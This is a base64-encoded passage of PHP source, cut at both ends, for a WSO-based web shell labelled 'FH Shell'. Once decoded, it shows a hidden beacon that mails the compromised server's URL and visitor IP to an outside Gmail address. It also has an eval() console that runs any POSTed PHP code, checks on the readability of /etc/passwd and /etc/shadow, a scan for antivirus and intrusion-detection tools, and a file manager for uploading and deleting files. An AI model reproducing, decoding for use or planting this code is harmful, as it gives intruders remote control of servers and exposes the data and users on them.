bWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgogICAgPC90cj4KPC90YWJsZT48L2Rpdj48L2Rpdj4KPGRpdiBzdHlsZT0ibWFyZ2luOjBweDtiYWNrZ3JvdW5kOiM0NDQ7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyLXRvcDowcHggc29saWQgIzQ0NDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXdlaWdodDpib2xkOyI+LS0tLS0tPVtGSCBTaGVsbCDCqSBCYXNlZCBXU09dPS0tLS0tLS08L2Rpdj48L2Rpdj4KCgo8L2Rpdj4KPC9ib2R5PjwvaHRtbD4nOwp9CgppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0KCmlmKCFpc3NldCgkX1NFU1NJT05bJ3RyaW1pdGUnXSkpewogICAgJHVybD0kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJzxiciAvPlVzZXIgSVA6ICcuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKT8nKCcuJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10uJyknOicnKTsKICAgIEBtYWlsKCIzY2Euc2hlbGxAZ21haWwuY29tIiwiM0NBX1NoZWxsXzIuMCIsJHVybCk7CiAgICAkX1NFU1NJT05bJ3RyaW1pdGUnXT10cnVlOwp9CgpmdW5jdGlvbiB2aWV3U2l6ZSgkcykgewogICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7CiAgICBlbHNlaWYoJHMgPj0gMTA0ODU3NikKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOwogICAgZWxzZWlmKCRzID49IDEwMjQpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsKICAgIGVsc2UKICAgICAgICByZXR1cm4gJHMgLiAnIEInOwp9CgpmdW5jdGlvbiBwZXJtcygkcCkgewogICAgaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsKICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7CiAgICBlbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsKICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7CiAgICBlbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwogICAgZWxzZSAkaSA9ICd1JzsKICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKICAgIHJldHVybiAkaTsKfQoKZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsgCiAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7CiAgICBlbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKICAgIGVsc2UKICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSMwMEJCMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CiAgICBmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKSB7CiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGVuYW1lOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CgpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgewogICAgICAgICR2ID0gdHJpbSgkdik7CiAgICAgICAgaWYoJHYpIHsKICAgICAgICAgICAgZWNobyAnPHNwYW4+Jy4kbi4nOiA8L3NwYW4+JzsKICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpCiAgICAgICAgICAgICAgICBlY2hvICR2Lic8YnI+JzsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy4kdi4nPC9wcmU+JzsKICAgICAgICB9CiAgICB9CiAgICAKICAgIHNob3dTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOwogICAgc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddKT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOwogICAgc2hvd1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7CiAgICAkdGVtcD1hcnJheSgpOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkKICAgICAgICAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQogICAgICAgICR0ZW1wW10gPSAiTVNTUUwiOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCiAgICAgICAgJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKICAgICAgICAkdGVtcFtdID0gIk9yYWNsZSI7CiAgICBzaG93U2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CiAgICBlY2hvICc8YnI+JzsKICAgIAogICAgaWYoICRHTE9CQUxTWydvcyddID09ICduaXgnICkgewogICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOwogICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwogICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOwogICAgICAgIHNob3dTZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwogICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKICAgICAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIAogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICBlY2hvICc8YnIvPic7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ01vdW50IG9wdGlvbnMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvZnN0YWInKSk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBzaG93U2VjUGFyYW0oJ09TIFZlcnNpb24nLGV4KCd2ZXInKSk7IAogICAgICAgIHNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsZXgoJ25ldCBhY2NvdW50cycpKTsgCiAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxleCgnbmV0IHVzZXInKSk7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uUGhwKCkgewogICAgaWYoIGlzc2V0KCRfUE9TVFsnYWpheCddKSApIHsKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7CiAgICAgICAgJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7CiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKICAgICAgICBleGl0OyAKICAgIH0KICAgIHByaW50SGVhZGVyKCk7CiAgICBpZiggaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykgKSB7CiAgICAgICAgZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBocGluZm8oKTsKICAgICAgICAkdG1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHkgey4qfSFtc2lVJywnJywkdG1wKTsKICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchYTpcdysgey4qfSFtc2lVJywnJywkdG1wKTsKICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchaDEhbXNpVScsJ2gyJywkdG1wKTsKICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7CiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHksIHRkLCB0aCwgaDIsIGgyIHsuKn0hbXNpVScsJycsJHRtcCk7CiAgICAgICAgZWNobyAkdG1wOwogICAgICAgIGVjaG8gJzwvZGl2Pjxicj4nOwogICAgfQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwogICAgICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOwogICAgZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOwogICAgfQogICAgZWNobyAnPC9wcmU+PC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgewogICAgICAgIHN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKICAgICAgICAgICAgY2FzZSAndXBsb2FkRmlsZSc6CiAgICAgICAgICAgICAgICBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnbWtkaXInOgogICAgICAgICAgICAgICAgaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdkZWxldGUnOgogICAgICAgICAgICAgICAgZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7CiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKICAgICAgICAgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW0gPSAkcGF0aC4kaXRlbTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOwogICAgICAgICAgICAgICAgICAgIHJtZGlyKCRwYXRoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IHVybGRlY29kZSgkZik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRmKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAncGFzdGUnOgogICAgICAgICAgICAgICAgaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsKICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IG9wZW5kaXIoJGMuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGMuJHMsICRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQogICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRfU0VTU0lPTlsnY3dkJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKICAgICAgICAgICAgICAgICAgICAgICAgQHJlbmFtZSgkX1NFU1NJT05bJ2N3ZCddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydmJ10pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAoKCRfUE9TVFsncDEnXSA9PSAnY29weScpfHwoJF9QT1NUWydwMSddID09ICdtb3ZlJykpICkgewogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOwogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7CiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9IEAkX1BPU1RbJ2MnXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZhbHVlPSIiOzwvc2NyaXB0Pic7CiAgICB9CiAgICAkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOwogICAgaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7ICAgIGVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7IHJldHVybjsgICAgfQogICAgZ2xvYmFsICRzb3J0OwogICAgJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkKICAgICAgICAgICAgJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKICAgIH0KICAgIGVjaG8gJzxzY3JpcHQ+CiAgICAgICAgZnVuY3Rpb24gc2EoKSB7CiAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQogICAgICAgICAgICBpZihkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09IFwnY2hlY2tib3hcJykKICAgICAgICAgICAgICAgIGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkb2N1bWVudC5maWxlcy5lbGVtZW50c1swXS5j